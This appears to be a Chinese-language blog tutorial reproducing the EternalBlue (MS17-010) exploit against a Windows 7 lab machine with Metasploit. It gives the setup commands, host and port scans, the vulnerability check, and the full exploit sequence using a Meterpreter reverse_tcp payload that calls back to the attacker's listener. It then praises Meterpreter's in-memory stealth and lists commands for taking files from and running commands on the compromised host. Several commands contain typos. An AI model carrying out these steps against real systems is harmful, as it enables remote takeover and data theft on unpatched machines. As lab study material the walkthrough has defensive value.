永恒之蓝之复现
永恒之蓝复现
环境要求
windows 操作系统(本测试使用 windows 7 ) 镜像下载 为原版镜像,故需账号登录.
Linux 攻击系统 (任意发行版本以下任选一种)
可选 vmware 官网下载试用, 再安装任意攻击系统.
攻击机器
前言
Metaspolit 世界上使用最多的渗透测试框架
官方手册 英文须自行翻译, 参考
Kali环境配置
内置了 Metaspolit Framework (简称 MSF, Metasploit Framework 是一组允许信息收集、扫描、利用、利用开发、后期利用等的工具) , 推荐使用
- 打开一个指定监听端口
推荐 ufw 防火墙工具管理
1 apt-get -y install ufw打开 7777(任意) 端口
1 ufw allow 7777
1 ufw reload查看端口
1 ufw status numbered
- Terminal 启动
1 msconsole![]()
Centos 7 配置
安装 ufw 防火墙管理工具
1 sudo yum -y ufw打开 7777 端口 命令如 上文
安装 Ruby (metaspolit 的开发语言)
- 更新yum库
1 sudo yum -y update
- 安装Ruby
1 sudo yum -y install ruby安装的版本通常是特定发行版发布时可用的最新 Ruby 版本。
- 查看版本
1 ruby -v![]()
安装 MSF
- 下载
1 wget https://rpm.metasploit.com/metasploit-omnibus/pkg/metasploit-framework-6.2.29%2B20221130112654~1rapid7-1.el6.x86_64.rpm
- 安装
1 rpm -ivh metasploit.com/metasploit-omnibus/pkg/metasploit-framework-6.2.29%2B20221130112654~1rapid7-1.el6.x86_64.rpm![]()
成功安装,如图
启动 MSF
1 msfconsole![]()
Debian 与 Ubuntu 配置
安装 ufw 防火墙管理工具
1 apt-get -y install ufw打开 7777 端口 命令如 上文
安装 Ruby
1 apt-get -y install ruby-full![]()
2.安装 MSF
- 下载
1 wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.2.29%2B20221130112638~1rapid7-1_amd64.deb
- 安装
apt-get install alien
1
2
3
- ```shell
dpkg -i metasploit-framework_6.2.29+20221130112638~1rapid7-1_amd64.deb
- 启动 MSF
1 msfconsole![]()
靶机要求
windows 防火墙 已关闭
1 netsh advfirewall set allprofiles state off
端口 445 开放
windows 7 已默认开放
445端口是 smb 服务 文件(资源)共享服务
永恒之蓝
Kali
在此我以 kali 复现永恒之蓝
主机发现
前提: 已知目标靶机 ip 或者 网段 (如和攻击机器在同一局域网)
MSF Terminal 下
1 | use auxiliary/scanner/discovery/arp_sweep |
扫描 局域网 192.168.111.0/24 网段下主机 kali 其中一个网卡的IP为 192.168.111.130
1 | set rhosts 192.168.111.0/24 |
设置 100 线程
1 | set threads 100 |
1 | run |

显然扫出来了 192.168.111.128
端口扫描
1 | use auxiliary/scanner/portscan/tcp |
查看参数
1 | show options |

设置必须参数
1 | set rhosts 192.168.111.128 |
1 | set threads 100 |
开始扫描端口
1 | run |
如果,靶机防火墙已关闭,不出意外如下

发现靶机打开了 445 端口
漏洞利用
搜索 永恒之蓝 模块
1 | search ms17_010 |

测试是否存在 永恒之蓝 漏洞 搜索结果的第 四 个模块
1 | use auxiliary/scanner/smb/smb_ms17_010 |
设置目标 IP
1 | set rhosts 192.168.111.1278 |
设置线程
1 | set threads 100 |
1 | run |

Host is likely VULNERABLE to MS17-010! //主机似乎存在 MS17-010(永恒之蓝)漏洞
漏洞利用 搜索结果的第 1 个模块
1 | use exploit/windows/smb/ms17_010_./eternalblue |
设置目标(靶机/windows 7)主机 IP
1 | set rhost 192.168.111.128 |
设置攻击(Kali)监听 payload (msf载荷:中的有效负载指的是漏洞利用模块。)
1 | set payload windows/x64/meterpreter/reverse_tcp |
设置Kali监听 iP ifconfig 命令查看
1 | set lhosts 192.168.111.130 |
设置Kali(攻击机)监听端口 7777 即前文打开的 端口号
1 | set lport 7777 |
最后,开启攻击 其实是利用smb协议漏洞,获取权限
1 | run |

成功!

meterpreter 命令行通道已连接 cmd 命令行
那么什么是 meterpreter 呢?
Meterpreter
Meterpreter 是一种先进的、动态可扩展的有效负载,它使用内存中的DLL 注入载荷,并在运行时通过网络进行扩展。它通过 stager 套接字进行通信,并提供全面的客户端 Ruby API。它具有命令历史记录、选项卡完成、频道等功能。
Metepreter 最初是由 skape 为 Metasploit 2.x 编写的,常见的扩展被合并到 3.x,目前正在为 Metasploit 3.3 进行大修。服务器部分是用纯 C 实现的,现在用 MSVC 编译,使其具有一定的可移植性。客户端可以用任何语言编写,但 Metasploit 具有功能齐全的 Ruby 客户端 API。
隐身
- Meterpreter 完全驻留在内存中,不向磁盘写入任何内容。
- 没有创建新进程,因为 Meterpreter 将自身注入到受感染的进程中,并且可以轻松迁移到其他正在运行的进程。
- 默认情况下,Meterpreter 使用加密通信。
- 所有这些都提供了有限的取证证据和对受害机器的影响。
强大的
- Meterpreter 使用信道化通信系统。
- TLV 协议几乎没有限制。
可扩展
- 功能可以在运行时扩充并通过网络加载。
- 无需重建即可将新功能添加到 Meterpreter。
常用命令
- help:查看帮助信息。
- background:允许用户在后台Meterpreter会话。
- download:允许用户从入侵主机上下载文件。
- upload:允许用户上传文件到入侵主机。
- execute:允许用户在入侵主机上执行命令。
- shell:允许用户在入侵主机上(仅是Windows主机)运行Windows shell命令。
- session -i:允许用户切换会话。